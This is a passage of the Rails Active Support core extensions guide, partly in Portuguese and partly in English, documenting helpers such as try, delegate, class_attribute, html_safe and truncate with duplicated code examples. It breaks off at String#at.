def log_info(sql, name, ms) if @logger.try(:debug?) name = '%s (%.1fms)' % [name || 'SQL', ms] @logger.debug(format_log_entry(name, sql.squeeze(' '))) end end Copiar

try pode também ser chamada sem argumentos, porém em um bloco, no qual só será executado se o objeto não for nil:

@person.try { |p| "#{p.first_name} #{p.last_name}" }

@person.try { |p| "#{p.first_name} #{p.last_name}" } Copiar

Perceba que try não exibirá as mensagens de erro caso elas ocorram, retornando nil em vez disso. Se você quiser se proteger de possíveis erros de digitação, use try!:

@number.try(:nest)  # => nil
@number.try!(:nest) # NoMethodError: undefined method `nest' for 1:Integer

@number.try(:nest) # => nil @number.try!(:nest) # NoMethodError: undefined method `nest' for 1:Integer Copiar

Definido em active_support/core_ext/object/try.rb.

2.6 class_eval(*args, &block)

Você pode evoluir o código no contexto de um singleton de qualquer objeto usando class_eval:

class Proc
def bind(object)
block, time = self, Time.current
object.class_eval do
method_name = "__bind_#{time.to_i}_#{time.usec}"
define_method(method_name, &block)
method = instance_method(method_name)
remove_method(method_name)
method
end.bind(object)
end
end

class Proc def bind(object) block, time = self, Time.current object.class_eval do method_name = "__bind_#{time.to_i}_#{time.usec}" define_method(method_name, &block) method = instance_method(method_name) remove_method(method_name) method end.bind(object) end end Copiar

Definido em active_support/core_ext/kernel/singleton_class.rb.

2.7 acts_like?(duck)

O método acts_like? fornece um meio para conferir se alguma classe age como alguma outra classe baseada em uma simples convenção: a classe que fornece a mesma interface é definida como String

def acts_like_string?
end

def acts_like_string? end Copiar

que é apenas um marcador, seu corpo ou valor de retorno são irrelevantes. Então, o código do cliente pode consultar a tipagem desta forma:

some_klass.acts_like?(:string)

some_klass.acts_like?(:string) Copiar

Rails possui classes que agem como Date ou Time e seguem essa linha.

Definido em active_support/core_ext/object/acts_like.rb.

2.8 to_param

Todos objetos em Rails respondem ao método to_param, o qual é usado para retornar representações de valores em strings, no qual podem ser usadas em consultas, ou fragmentos de URL.

Por padrão, to_param apenas chama o método to_s:

7.to_param # => "7"

7.to_param # => "7" Copiar

O retorno de valores em to_param não deve ser ignorado:

"Tom & Jerry".to_param # => "Tom & Jerry"

"Tom & Jerry".to_param # => "Tom & Jerry" Copiar

Várias classes em Rails sobrescrevem este método.

Por exemplo nil, true, e false retornam a si mesmo. Array#to_param chama to_param para cada elemento, exibindo o resultado separando os elementos com "/":

[0, true, String].to_param # => "0/true/String"

[0, true, String].to_param # => "0/true/String" Copiar

Notavelmente, as rotas de sistemas Rails chamam to_param em models para obter o valor do campo :id. ActiveRecord::Base#to_param retorna o id do model, mas você pode redefinir esse método em seus models. Por exemplo, dado

class User
def to_param
"#{id}-#{name.parameterize}"
end
end

class User def to_param "#{id}-#{name.parameterize}" end end Copiar

nós temos:

user_path(@user) # => "/users/357-john-smith"

user_path(@user) # => "/users/357-john-smith" Copiar

Controllers precisam estar alinhados a qualquer redefinição de to_param porque quando uma requisição como essa chega em "357-john-smith" este é o valor de params[:id].

Definido em active_support/core_ext/object/to_param.rb.

2.9 to_query

O método to_query controi uma query em string que associam a key com o retorno de to_param. Por exemplo, dado a seguinte definição de to_param:

class User
def to_param
"#{id}-#{name.parameterize}"
end
end

class User def to_param "#{id}-#{name.parameterize}" end end Copiar

Temos:

current_user.to_query('user') # => "user=357-john-smith"

current_user.to_query('user') # => "user=357-john-smith" Copiar

Este método traz o que é necessário, tanto para chave, como para o valor:

account.to_query('company[name]')
# => "company%5Bname%5D=Johnson+%26+Johnson"

account.to_query('company[name]') # => "company%5Bname%5D=Johnson+%26+Johnson" Copiar

então esse resultado esta pronto para ser usado em uma string de busca.

Arrays retornam o resultado da aplicação to_query para cada elemento com key[] como chave, e junta o resultado com "&":

[3.4, -45.6].to_query('sample')
# => "sample%5B%5D=3.4&sample%5B%5D=-45.6"

[3.4, -45.6].to_query('sample') # => "sample%5B%5D=3.4&sample%5B%5D=-45.6" Copiar

Hashes tambem respondem a to_query mas com uma diferença. Se não passar um argumento a chamada gera uma série ordenada de chaves/valores atribuídas chamando to_query(key) em seus valores. Em seguida, o resultado é mesclado com "&":

{c: 3, b: 2, a: 1}.to_query # => "a=1&b=2&c=3"

{c: 3, b: 2, a: 1}.to_query # => "a=1&b=2&c=3" Copiar

O método Hash#to_query aceita um espaço para nomear as chaves:

{id: 89, name: "John Smith"}.to_query('user')
# => "user%5Bid%5D=89&user%5Bname%5D=John+Smith"

{id: 89, name: "John Smith"}.to_query('user') # => "user%5Bid%5D=89&user%5Bname%5D=John+Smith" Copiar

Definido em active_support/core_ext/object/to_query.rb.

2.10 with_options

O método with_options fornece um meio de agrupar opções comuns em uma série de chamada de métodos.

Dado as opções default de uma hash, with_options faz um objeto de "ponte" em um bloco. Dentro do bloco, métodos são chamados no objeto e são encaminhados ao receptor com suas opções mescladas. Por exemplo, você se livra da duplicação em:

class Account < ApplicationRecord
has_many :customers, dependent: :destroy
has_many :products,  dependent: :destroy
has_many :invoices,  dependent: :destroy
has_many :expenses,  dependent: :destroy
end

class Account < ApplicationRecord has_many :customers, dependent: :destroy has_many :products, dependent: :destroy has_many :invoices, dependent: :destroy has_many :expenses, dependent: :destroy end Copiar

desta forma:

class Account < ApplicationRecord
with_options dependent: :destroy do |assoc|
assoc.has_many :customers
assoc.has_many :products
assoc.has_many :invoices
assoc.has_many :expenses
end
end

class Account < ApplicationRecord with_options dependent: :destroy do |assoc| assoc.has_many :customers assoc.has_many :products assoc.has_many :invoices assoc.has_many :expenses end end Copiar

Essa expressão pode transmitir um agrupamento para o leitor também. Por exemplo, digamos que você queira enviar um boletim informativo cujo idioma depende do usuário. Em algum lugar na mailer você poderá agrupar os receptores por localidade como no exemplo:

I18n.with_options locale: user.locale, scope: "newsletter" do |i18n|
subject i18n.t :subject
body    i18n.t :body, user_name: user.name
end

I18n.with_options locale: user.locale, scope: "newsletter" do |i18n| subject i18n.t :subject body i18n.t :body, user_name: user.name end Copiar

Desde que with_options envie chamadas para seus receptores eles podem ser aninhados. Cada nível de aninhamento mesclará os padrões herdados com os seus próprios.

Definido em active_support/core_ext/object/with_options.rb.

2.11 Suporte ao JSON

Active Support fornece uma melhor implementação para to_json do que a gem json normalmente fornece para objetos em Ruby. Isso é porque algumas classes, como Hash, OrderedHash e Process::Status precisam de manipulações especiais a fim de fornecer uma representação de JSON adequada.

Definido em active_support/core_ext/object/json.rb.

2.12 Variáveis de Instância

Active Support fornece vários métodos para facilitar o acesso a variáveis de instância.

2.12.1 instance_values

O método instance_values retorna uma hash que mapeia variáveis de instância de nomes sem "@" para seus valores correspondentes. As chaves são strings:

class C
def initialize(x, y)
@x, @y = x, y
end
end

C.new(0, 1).instance_values # => {"x" => 0, "y" => 1}

class C def initialize(x, y) @x, @y = x, y end end C.new(0, 1).instance_values # => {"x" => 0, "y" => 1} Copiar

Definido em active_support/core_ext/object/instance_variables.rb.

2.12.2 instance_variable_names

O método instance_variable_names retorna um array. Cada nome inclui o sinal "@".

class C
def initialize(x, y)
@x, @y = x, y
end
end

C.new(0, 1).instance_variable_names # => ["@x", "@y"]

class C def initialize(x, y) @x, @y = x, y end end C.new(0, 1).instance_variable_names # => ["@x", "@y"] Copiar

Definido em active_support/core_ext/object/instance_variables.rb.

2.13 Silenciando Warnings e Exceções

Os métodos silence_warnings e enable_warnings trocam o valor de $VERBOSE de acordo com a duração do seu bloco, e o reiniciam depois:

silence_warnings { Object.const_set "RAILS_DEFAULT_LOGGER", logger }

silence_warnings { Object.const_set "RAILS_DEFAULT_LOGGER", logger } Copiar

Silenciar exceções também é possível com suppress. Este método recebe um número arbitrário de classes de exceção. Se uma exceção é acionada durante a execução de um bloco e é kind_of? qualquer um dos argumentos, suppress captura e retorna silenciosamente. Caso contrário, a exceção não é capturada:

# If the user is locked, the increment is lost, no big deal.
suppress(ActiveRecord::StaleObjectError) do
current_user.increment! :visits
end

# If the user is locked, the increment is lost, no big deal. suppress(ActiveRecord::StaleObjectError) do current_user.increment! :visits end Copiar

Definido in active_support/core_ext/kernel/reporting.rb.

2.14 in?

A expressão in? testa se um objeto é incluído em outro objeto. Uma exceção ArgumentError será acionada se o argumento passado não responder a include?.

Exemplos de in?:

1.in?([1,2])        # => true
"lo".in?("hello")   # => true
25.in?(30..50)      # => false
1.in?(1)            # => ArgumentError

1.in?([1,2]) # => true "lo".in?("hello") # => true 25.in?(30..50) # => false 1.in?(1) # => ArgumentError Copiar

Definido em active_support/core_ext/object/inclusion.rb.

3 Extensões de Module

3.1 Atributos

3.1.1 alias_attribute

Atributos de models podem ser lidos, escritos e condicionados. Você pode criar um alias para um atributo de model correspondendo todos os três métodos definidos por você usando alias_attribute. Em outro métodos de alias, o novo nome é o primeiro argumento, e o antigo nome é o segundo (uma forma de memorizar é pensar que eles se apresentam na mesma ordem como se você fizesse uma atribuição):

class User < ApplicationRecord
# Você pode referenciar a coluna email como "login".
# Isso pode ser importante para o código de autenticação.
alias_attribute :login, :email
end

class User < ApplicationRecord # Você pode referenciar a coluna email como "login". # Isso pode ser importante para o código de autenticação. alias_attribute :login, :email end Copiar

Definido em active_support/core_ext/module/aliasing.rb.

3.1.2 Atributos Internos

Quando você esta definindo um atributo em uma classe que pode ser uma subclasse, os conflitos de nomes são um risco. Isso é extremamente importante para as bibliotecas.

Active Support define as macros attr_internal_reader, attr_internal_writer, e attr_internal_accessor. Elas comportam-se como seu próprio Ruby attr_* embutido, exceto pelos nomes de variáveis de instância que faz com que os conflitos sejam menos comuns.

A macro attr_internal é um sinônimo para attr_internal_accessor:

# biblioteca
class ThirdPartyLibrary::Crawler
attr_internal :log_level
end

# código do cliente
class MyCrawler < ThirdPartyLibrary::Crawler
attr_accessor :log_level
end

# biblioteca class ThirdPartyLibrary::Crawler attr_internal :log_level end # código do cliente class MyCrawler < ThirdPartyLibrary::Crawler attr_accessor :log_level end Copiar

No exemplo anterior, poderia ser que no caso :log_level não pertença a interface pública da biblioteca e só seria usada em desenvolvimento. O código do cliente, não sabe do potencial conflito, subclasses e definições de seus próprios :log_level. Graças ao attr_internal não há conflito.

Por padrão, a variável de instancia interna é nomeada com uma underscore na frente, @_log_level no exemplo acima. Isso é configurável via Module.attr_internal_naming_format apesar disso, você pode passar qualquer tipo de sprintf no formato string com a inicial @ e um %s em algum lugar, no qual é onde o nome será colocado. O padrão é "@_%s".

Rails usa atributos internos em alguns pontos, para views como por exemplo:

module ActionView
class Base
attr_internal :captures
attr_internal :request, :layout
attr_internal :controller, :template
end
end

module ActionView class Base attr_internal :captures attr_internal :request, :layout attr_internal :controller, :template end end Copiar

Definido em active_support/core_ext/module/attr_internal.rb.

3.1.3 Atributos de Módulo

As macros mattr_reader, mattr_writer, e mattr_accessor São iguais a cattr_* macros definidas na classe. De fato, cattr_* macros são apenas aliases para as mattr_* macros. Confira a seção Atributos de Classe.

Por exemplo, os mecanismos de dependências usam:

module ActiveSupport
module Dependencies
mattr_accessor :warnings_on_first_load
mattr_accessor :history
mattr_accessor :loaded
mattr_accessor :mechanism
mattr_accessor :load_paths
mattr_accessor :load_once_paths
mattr_accessor :autoloaded_constants
mattr_accessor :explicitly_unloadable_constants
mattr_accessor :constant_watch_stack
mattr_accessor :constant_watch_stack_mutex
end
end

module ActiveSupport module Dependencies mattr_accessor :warnings_on_first_load mattr_accessor :history mattr_accessor :loaded mattr_accessor :mechanism mattr_accessor :load_paths mattr_accessor :load_once_paths mattr_accessor :autoloaded_constants mattr_accessor :explicitly_unloadable_constants mattr_accessor :constant_watch_stack mattr_accessor :constant_watch_stack_mutex end end Copiar

Definido em active_support/core_ext/module/attribute_accessors.rb.

3.2 Parents

3.3 Parents

3.3.1 module_parent

O método module_parent em um módulo nomeado aninhado que retorna o módulo que contém uma constante correspondente:

module X
module Y
module Z
end
end
end
M = X::Y::Z

X::Y::Z.module_parent # => X::Y
M.module_parent       # => X::Y

module X module Y module Z end end end M = X::Y::Z X::Y::Z.module_parent # => X::Y M.module_parent # => X::Y Copiar

Se o módulo é anônimo ou pertence a um nível superior, module_parent retorna Object.

Note que neste caso module_parent_name retorna nil.

Definido em active_support/core_ext/module/introspection.rb.

3.3.2 module_parent_name

O método module_parent_name em um modulo nomeado aninhado retorna o nome completamente qualificado do módulo que contém sua constante correspondente:

module X
module Y
module Z
end
end
end
M = X::Y::Z

X::Y::Z.module_parent_name # => "X::Y"
M.module_parent_name       # => "X::Y"

module X module Y module Z end end end M = X::Y::Z X::Y::Z.module_parent_name # => "X::Y" M.module_parent_name # => "X::Y" Copiar

Para módulos de nível superior ou anônimos module_parent_name retorna nil.

Note que nesse caso module_parent retorna Object.

Definido em active_support/core_ext/module/introspection.rb.

3.3.3 module_parents

O método module_parents chama module_parent no receptor e sobe até Object ser alcançado. A cadeia é retornada em uma matriz, de baixo para cima:

module X
module Y
module Z
end
end
end
M = X::Y::Z

X::Y::Z.module_parents # => [X::Y, X, Object]
M.module_parents       # => [X::Y, X, Object]

module X module Y module Z end end end M = X::Y::Z X::Y::Z.module_parents # => [X::Y, X, Object] M.module_parents # => [X::Y, X, Object] Copiar

Definido em active_support/core_ext/module/introspection.rb.

3.4 Anônimo

Um módulo pode ou não ter um nome:

module M
end
M.name # => "M"

N = Module.new
N.name # => "N"

Module.new.name # => nil

module M end M.name # => "M" N = Module.new N.name # => "N" Module.new.name # => nil Copiar

Você pode verificar se um módulo possui um nome com a condicional anonymous?:

module M
end
M.anonymous? # => false

Module.new.anonymous? # => true

module M end M.anonymous? # => false Module.new.anonymous? # => true Copiar

Observe que estar inacessível não significa ser anônimo:

module M
end

m = Object.send(:remove_const, :M)

m.anonymous? # => false

module M end m = Object.send(:remove_const, :M) m.anonymous? # => false Copiar

Embora um módulo anônimo seja inacessível por definição.

Definido em active_support/core_ext/module/anonymous.rb.

3.5 Delegação de Método

3.5.1 delegate

A macro delegate oferece uma maneira fácil de encaminhar métodos.

Vamos imaginar que os usuários de alguma aplicação possuem informações de login no model User além de nome e outro dado em um model Profile separado:

class User < ApplicationRecord
has_one :profile
end

class User < ApplicationRecord has_one :profile end Copiar

Com essa configuração você consegue o nome dos usuários partir da classe perfil, user.profile.name, mas isso poderia ser conveniente para habilitar o acesso ao atributo diretamente:

class User < ApplicationRecord
has_one :profile

def name
profile.name
end
end

class User < ApplicationRecord has_one :profile def name profile.name end end Copiar

Isso é o que o delegate faz por você:

class User < ApplicationRecord
has_one :profile

delegate :name, to: :profile
end

class User < ApplicationRecord has_one :profile delegate :name, to: :profile end Copiar

É mais curto e a intenção mais óbvia.

O método deve ser público.

A macro delegate aceita vários métodos:

delegate :name, :age, :address, :twitter, to: :profile

delegate :name, :age, :address, :twitter, to: :profile Copiar

Quando interpolado em uma string, a opção :to deve se tornar uma expressão que avalia o objeto ao qual o método é delegado. Normalmente uma string ou um symbol. Tal expressão é avaliada no contexto do receptor:

# delega para as constantes Rails
delegate :logger, to: :Rails

# delega para as classes receptoras
delegate :table_name, to: :class

# delega para as constantes Rails delegate :logger, to: :Rails # delega para as classes receptoras delegate :table_name, to: :class Copiar

Se a opção :prefix for true é menos genérica, veja abaixo.

Por padrão, se a delegação resulta em NoMethodError e o objeto é nil a exceção se propaga. Você pode perguntar se nil é retornado ao invés com a opção :allow_nil:

delegate :name, to: :profile, allow_nil: true

delegate :name, to: :profile, allow_nil: true Copiar

Com :allow_nil a chamada user.name retorna nil se o usuário não tiver um perfil.

A opção :prefix adiciona um prefixo ao nome do método gerado. Isso pode ser útil, por exemplo, para obter um nome melhor:

delegate :street, to: :address, prefix: true

delegate :street, to: :address, prefix: true Copiar

Os exemplos prévios geram address_street ao invés de street.

Já que neste caso o nome do método gerado é composto pelos nomes do objeto alvo e do método alvo, a opção :to deve ser um nome de método.

Um prefixo customizado pode também ser configurado:

delegate :size, to: :attachment, prefix: :avatar

delegate :size, to: :attachment, prefix: :avatar Copiar

Os macro exemplos prévios geram avatar_size ao invés de size.

A opção :private mudam o escopo do método:

delegate :date_of_birth, to: :profile, private: true

delegate :date_of_birth, to: :profile, private: true Copiar

Os métodos delegados são públicos por padrão. Passe private: true para mudar isso.

Definido em active_support/core_ext/module/delegation.rb

3.5.2 delegate_missing_to

Imagine que você gostaria de delegar tudo o que está faltando no objeto User, para um Profile. A macro delegate_missing_to permite que você implemente isso de forma facilitada:

class User < ApplicationRecord
has_one :profile

delegate_missing_to :profile
end

class User < ApplicationRecord has_one :profile delegate_missing_to :profile end Copiar

O destino pode ser qualquer coisa que possa ser chamada dentro do objeto, por exemplo: instância de variáveis, métodos, constantes etc. Somente métodos públicos do alvo são delegados.

Definido em active_support/core_ext/module/delegation.rb.

3.6 Redefinindo Métodos

Existem casos onde você precisa definir um método com define_method, mas não sei se já existe um método com esse nome. Caso sim, um warning é exibido se estiverem habilitados. Não é muito perigoso, mas não é uma boa prática.

O método redefine_method previne um potencial warning, removendo um método existente, se necessário.

Você pode também usar silence_redefinition_of_method se você precisa definir o método de substituição (porque você está usando delegate, por exemplo).

Definido em active_support/core_ext/module/redefine_method.rb.

4 Extensions to Class

4.1 Class Attributes

4.1.1 class_attribute

The method class_attribute declares one or more inheritable class attributes that can be overridden at any level down the hierarchy.

class A
class_attribute :x
end

class B < A; end

class C < B; end

A.x = :a
B.x # => :a
C.x # => :a

B.x = :b
A.x # => :a
C.x # => :b

C.x = :c
A.x # => :a
B.x # => :b

class A class_attribute :x end class B < A; end class C < B; end A.x = :a B.x # => :a C.x # => :a B.x = :b A.x # => :a C.x # => :b C.x = :c A.x # => :a B.x # => :b Copiar

For example ActionMailer::Base defines:

class_attribute :default_params
self.default_params = {
mime_version: "1.0",
charset: "UTF-8",
content_type: "text/plain",
parts_order: [ "text/plain", "text/enriched", "text/html" ]
}.freeze

class_attribute :default_params self.default_params = { mime_version: "1.0", charset: "UTF-8", content_type: "text/plain", parts_order: [ "text/plain", "text/enriched", "text/html" ] }.freeze Copiar

They can also be accessed and overridden at the instance level.

A.x = 1

a1 = A.new
a2 = A.new
a2.x = 2

a1.x # => 1, comes from A
a2.x # => 2, overridden in a2

A.x = 1 a1 = A.new a2 = A.new a2.x = 2 a1.x # => 1, comes from A a2.x # => 2, overridden in a2 Copiar

The generation of the writer instance method can be prevented by setting the option :instance_writer to false.

module ActiveRecord
class Base
class_attribute :table_name_prefix, instance_writer: false, default: "my"
end
end

module ActiveRecord class Base class_attribute :table_name_prefix, instance_writer: false, default: "my" end end Copiar

A model may find that option useful as a way to prevent mass-assignment from setting the attribute.

The generation of the reader instance method can be prevented by setting the option :instance_reader to false.

class A
class_attribute :x, instance_reader: false
end

A.new.x = 1
A.new.x # NoMethodError

class A class_attribute :x, instance_reader: false end A.new.x = 1 A.new.x # NoMethodError Copiar

For convenience class_attribute also defines an instance predicate which is the double negation of what the instance reader returns. In the examples above it would be called x?.

When :instance_reader is false, the instance predicate returns a NoMethodError just like the reader method.

If you do not want the instance predicate, pass instance_predicate: false and it will not be defined.

Defined in active_support/core_ext/class/attribute.rb.

4.1.2 cattr_reader, cattr_writer, and cattr_accessor

The macros cattr_reader, cattr_writer, and cattr_accessor are analogous to their attr_* counterparts but for classes. They initialize a class variable to nil unless it already exists, and generate the corresponding class methods to access it:

class MysqlAdapter < AbstractAdapter
# Generates class methods to access @@emulate_booleans.
cattr_accessor :emulate_booleans
end

class MysqlAdapter < AbstractAdapter # Generates class methods to access @@emulate_booleans. cattr_accessor :emulate_booleans end Copiar

Also, you can pass a block to cattr_* to set up the attribute with a default value:

class MysqlAdapter < AbstractAdapter
# Generates class methods to access @@emulate_booleans with default value of true.
cattr_accessor :emulate_booleans, default: true
end

class MysqlAdapter < AbstractAdapter # Generates class methods to access @@emulate_booleans with default value of true. cattr_accessor :emulate_booleans, default: true end Copiar

Instance methods are created as well for convenience, they are just proxies to the class attribute. So, instances can change the class attribute, but cannot override it as it happens with class_attribute (see above). For example given

module ActionView
class Base
cattr_accessor :field_error_proc, default: Proc.new { ... }
end
end

module ActionView class Base cattr_accessor :field_error_proc, default: Proc.new { ... } end end Copiar

we can access field_error_proc in views.

The generation of the reader instance method can be prevented by setting :instance_reader to false and the generation of the writer instance method can be prevented by setting :instance_writer to false. Generation of both methods can be prevented by setting :instance_accessor to false. In all cases, the value must be exactly false and not any false value.

module A
class B
# No first_name instance reader is generated.
cattr_accessor :first_name, instance_reader: false
# No last_name= instance writer is generated.
cattr_accessor :last_name, instance_writer: false
# No surname instance reader or surname= writer is generated.
cattr_accessor :surname, instance_accessor: false
end
end

module A class B # No first_name instance reader is generated. cattr_accessor :first_name, instance_reader: false # No last_name= instance writer is generated. cattr_accessor :last_name, instance_writer: false # No surname instance reader or surname= writer is generated. cattr_accessor :surname, instance_accessor: false end end Copiar

A model may find it useful to set :instance_accessor to false as a way to prevent mass-assignment from setting the attribute.

Defined in active_support/core_ext/module/attribute_accessors.rb.

4.2 Subclasses and Descendants

4.2.1 subclasses

The subclasses method returns the subclasses of the receiver:

class C; end
C.subclasses # => []

class B < C; end
C.subclasses # => [B]

class A < B; end
C.subclasses # => [B]

class D < C; end
C.subclasses # => [B, D]

class C; end C.subclasses # => [] class B < C; end C.subclasses # => [B] class A < B; end C.subclasses # => [B] class D < C; end C.subclasses # => [B, D] Copiar

The order in which these classes are returned is unspecified.

Defined in active_support/core_ext/class/subclasses.rb.

4.2.2 descendants

The descendants method returns all classes that are < than its receiver:

class C; end
C.descendants # => []

class B < C; end
C.descendants # => [B]

class A < B; end
C.descendants # => [B, A]

class D < C; end
C.descendants # => [B, A, D]

class C; end C.descendants # => [] class B < C; end C.descendants # => [B] class A < B; end C.descendants # => [B, A] class D < C; end C.descendants # => [B, A, D] Copiar

The order in which these classes are returned is unspecified.

Defined in active_support/core_ext/class/subclasses.rb.

5 Extensions to String

5.1 Output Safety

5.1.1 Motivation

Inserting data into HTML templates needs extra care. For example, you can't just interpolate @review.title verbatim into an HTML page. For one thing, if the review title is "Flanagan & Matz rules!" the output won't be well-formed because an ampersand has to be escaped as "&amp;". What's more, depending on the application, that may be a big security hole because users can inject malicious HTML setting a hand-crafted review title. Check out the section about cross-site scripting in the Security guide for further information about the risks.

5.1.2 Safe Strings

Active Support has the concept of (html) safe strings. A safe string is one that is marked as being insertable into HTML as is. It is trusted, no matter whether it has been escaped or not.

Strings are considered to be unsafe by default:

"".html_safe? # => false

"".html_safe? # => false Copiar

You can obtain a safe string from a given one with the html_safe method:

s = "".html_safe
s.html_safe? # => true

s = "".html_safe s.html_safe? # => true Copiar

It is important to understand that html_safe performs no escaping whatsoever, it is just an assertion:

s = "<script>...</script>".html_safe
s.html_safe? # => true
s            # => "<script>...</script>"

s = "<script>...</script>".html_safe s.html_safe? # => true s # => "<script>...</script>" Copiar

It is your responsibility to ensure calling html_safe on a particular string is fine.

If you append onto a safe string, either in-place with concat/<<, or with +, the result is a safe string. Unsafe arguments are escaped:

"".html_safe + "<" # => "&lt;"

"".html_safe + "<" # => "&lt;" Copiar

Safe arguments are directly appended:

"".html_safe + "<".html_safe # => "<"

"".html_safe + "<".html_safe # => "<" Copiar

These methods should not be used in ordinary views. Unsafe values are automatically escaped:

<%= @review.title %> <%# fine, escaped if needed %>

<%= @review.title %> <%# fine, escaped if needed %> Copiar

To insert something verbatim use the raw helper rather than calling html_safe:

<%= raw @cms.current_template %> <%# inserts @cms.current_template as is %>

<%= raw @cms.current_template %> <%# inserts @cms.current_template as is %> Copiar

or, equivalently, use <%==:

<%== @cms.current_template %> <%# inserts @cms.current_template as is %>

<%== @cms.current_template %> <%# inserts @cms.current_template as is %> Copiar

The raw helper calls html_safe for you:

def raw(stringish)
stringish.to_s.html_safe
end

def raw(stringish) stringish.to_s.html_safe end Copiar

Defined in active_support/core_ext/string/output_safety.rb.

5.1.3 Transformation

As a rule of thumb, except perhaps for concatenation as explained above, any method that may change a string gives you an unsafe string. These are downcase, gsub, strip, chomp, underscore, etc.

In the case of in-place transformations like gsub! the receiver itself becomes unsafe.

The safety bit is lost always, no matter whether the transformation actually changed something.

5.1.4 Conversion and Coercion

Calling to_s on a safe string returns a safe string, but coercion with to_str returns an unsafe string.

5.1.5 Copying

Calling dup or clone on safe strings yields safe strings.

5.2 remove

The method remove will remove all occurrences of the pattern:

"Hello World".remove(/Hello /) # => "World"

"Hello World".remove(/Hello /) # => "World" Copiar

There's also the destructive version String#remove!.

Defined in active_support/core_ext/string/filters.rb.

5.3 squish

The method squish strips leading and trailing whitespace, and substitutes runs of whitespace with a single space each:

" \n  foo\n\r \t bar \n".squish # => "foo bar"

" \n foo\n\r \t bar \n".squish # => "foo bar" Copiar

There's also the destructive version String#squish!.

Note that it handles both ASCII and Unicode whitespace.

Defined in active_support/core_ext/string/filters.rb.

5.4 truncate

The method truncate returns a copy of its receiver truncated after a given length:

"Oh dear! Oh dear! I shall be late!".truncate(20)
# => "Oh dear! Oh dear!..."

"Oh dear! Oh dear! I shall be late!".truncate(20) # => "Oh dear! Oh dear!..." Copiar

Ellipsis can be customized with the :omission option:

"Oh dear! Oh dear! I shall be late!".truncate(20, omission: '&hellip;')
# => "Oh dear! Oh &hellip;"

"Oh dear! Oh dear! I shall be late!".truncate(20, omission: '&hellip;') # => "Oh dear! Oh &hellip;" Copiar

Note in particular that truncation takes into account the length of the omission string.

Pass a :separator to truncate the string at a natural break:

"Oh dear! Oh dear! I shall be late!".truncate(18)
# => "Oh dear! Oh dea..."
"Oh dear! Oh dear! I shall be late!".truncate(18, separator: ' ')
# => "Oh dear! Oh..."

"Oh dear! Oh dear! I shall be late!".truncate(18) # => "Oh dear! Oh dea..." "Oh dear! Oh dear! I shall be late!".truncate(18, separator: ' ') # => "Oh dear! Oh..." Copiar

The option :separator can be a regexp:

"Oh dear! Oh dear! I shall be late!".truncate(18, separator: /\s/)
# => "Oh dear! Oh..."

"Oh dear! Oh dear! I shall be late!".truncate(18, separator: /\s/) # => "Oh dear! Oh..." Copiar

In above examples "dear" gets cut first, but then :separator prevents it.

Defined in active_support/core_ext/string/filters.rb.

5.5 truncate_bytes

The method truncate_bytes returns a copy of its receiver truncated to at most bytesize bytes:

"👍👍👍👍".truncate_bytes(15)
# => "👍👍👍…"

"👍👍👍👍".truncate_bytes(15) # => "👍👍👍…" Copiar

Ellipsis can be customized with the :omission option:

"👍👍👍👍".truncate_bytes(15, omission: "🖖")
# => "👍👍🖖"

"👍👍👍👍".truncate_bytes(15, omission: "🖖") # => "👍👍🖖" Copiar

Defined in active_support/core_ext/string/filters.rb.

5.6 truncate_words

The method truncate_words returns a copy of its receiver truncated after a given number of words:

"Oh dear! Oh dear! I shall be late!".truncate_words(4)
# => "Oh dear! Oh dear!..."

"Oh dear! Oh dear! I shall be late!".truncate_words(4) # => "Oh dear! Oh dear!..." Copiar

Ellipsis can be customized with the :omission option:

"Oh dear! Oh dear! I shall be late!".truncate_words(4, omission: '&hellip;')
# => "Oh dear! Oh dear!&hellip;"

"Oh dear! Oh dear! I shall be late!".truncate_words(4, omission: '&hellip;') # => "Oh dear! Oh dear!&hellip;" Copiar

Pass a :separator to truncate the string at a natural break:

"Oh dear! Oh dear! I shall be late!".truncate_words(3, separator: '!')
# => "Oh dear! Oh dear! I shall be late..."

"Oh dear! Oh dear! I shall be late!".truncate_words(3, separator: '!') # => "Oh dear! Oh dear! I shall be late..." Copiar

The option :separator can be a regexp:

"Oh dear! Oh dear! I shall be late!".truncate_words(4, separator: /\s/)
# => "Oh dear! Oh dear!..."

"Oh dear! Oh dear! I shall be late!".truncate_words(4, separator: /\s/) # => "Oh dear! Oh dear!..." Copiar

Defined in active_support/core_ext/string/filters.rb.

5.7 inquiry

The inquiry method converts a string into a StringInquirer object making equality checks prettier.

"production".inquiry.production? # => true
"active".inquiry.inactive?       # => false

"production".inquiry.production? # => true "active".inquiry.inactive? # => false Copiar

Defined in active_support/core_ext/string/inquiry.rb.

5.8 starts_with? and ends_with?

Active Support defines 3rd person aliases of String#start_with? and String#end_with?:

"foo".starts_with?("f") # => true
"foo".ends_with?("o")   # => true

"foo".starts_with?("f") # => true "foo".ends_with?("o") # => true Copiar

Defined in active_support/core_ext/string/starts_ends_with.rb.

5.9 strip_heredoc

The method strip_heredoc strips indentation in heredocs.

For example in

if options[:usage]
puts <<-USAGE.strip_heredoc
This command does such and such.

Supported options are:
-h         This message
...
USAGE
end

if options[:usage] puts <<-USAGE.strip_heredoc This command does such and such. Supported options are: -h This message ... USAGE end Copiar

the user would see the usage message aligned against the left margin.

Technically, it looks for the least indented line in the whole string, and removes that amount of leading whitespace.

Defined in active_support/core_ext/string/strip.rb.

5.10 indent

The indent method indents the lines in the receiver:

<<EOS.indent(2)
def some_method
some_code
end
EOS
# =>
def some_method
some_code
end

<<EOS.indent(2) def some_method some_code end EOS # => def some_method some_code end Copiar

The second argument, indent_string, specifies which indent string to use. The default is nil, which tells the method to make an educated guess peeking at the first indented line, and fallback to a space if there is none.

"  foo".indent(2)        # => "    foo"
"foo\n\t\tbar".indent(2) # => "\t\tfoo\n\t\t\t\tbar"
"foo".indent(2, "\t")    # => "\t\tfoo"

" foo".indent(2) # => " foo" "foo\n\t\tbar".indent(2) # => "\t\tfoo\n\t\t\t\tbar" "foo".indent(2, "\t") # => "\t\tfoo" Copiar

While indent_string is typically one space or tab, it may be any string.

The third argument, indent_empty_lines, is a flag that says whether empty lines should be indented. Default is false.

"foo\n\nbar".indent(2)            # => "  foo\n\n  bar"
"foo\n\nbar".indent(2, nil, true) # => "  foo\n  \n  bar"

"foo\n\nbar".indent(2) # => " foo\n\n bar" "foo\n\nbar".indent(2, nil, true) # => " foo\n \n bar" Copiar

The indent! method performs indentation in-place.

Defined in active_support/core_ext/string/indent.rb.

5.11 Access

5.11.1 at(position)

The at method returns the character of the string at position position:

"hello".at(0)  # => "h"
"hello".at(4)  # => "o"
"hello".at(-1) # => "o"
"hello".at(10) # => nil

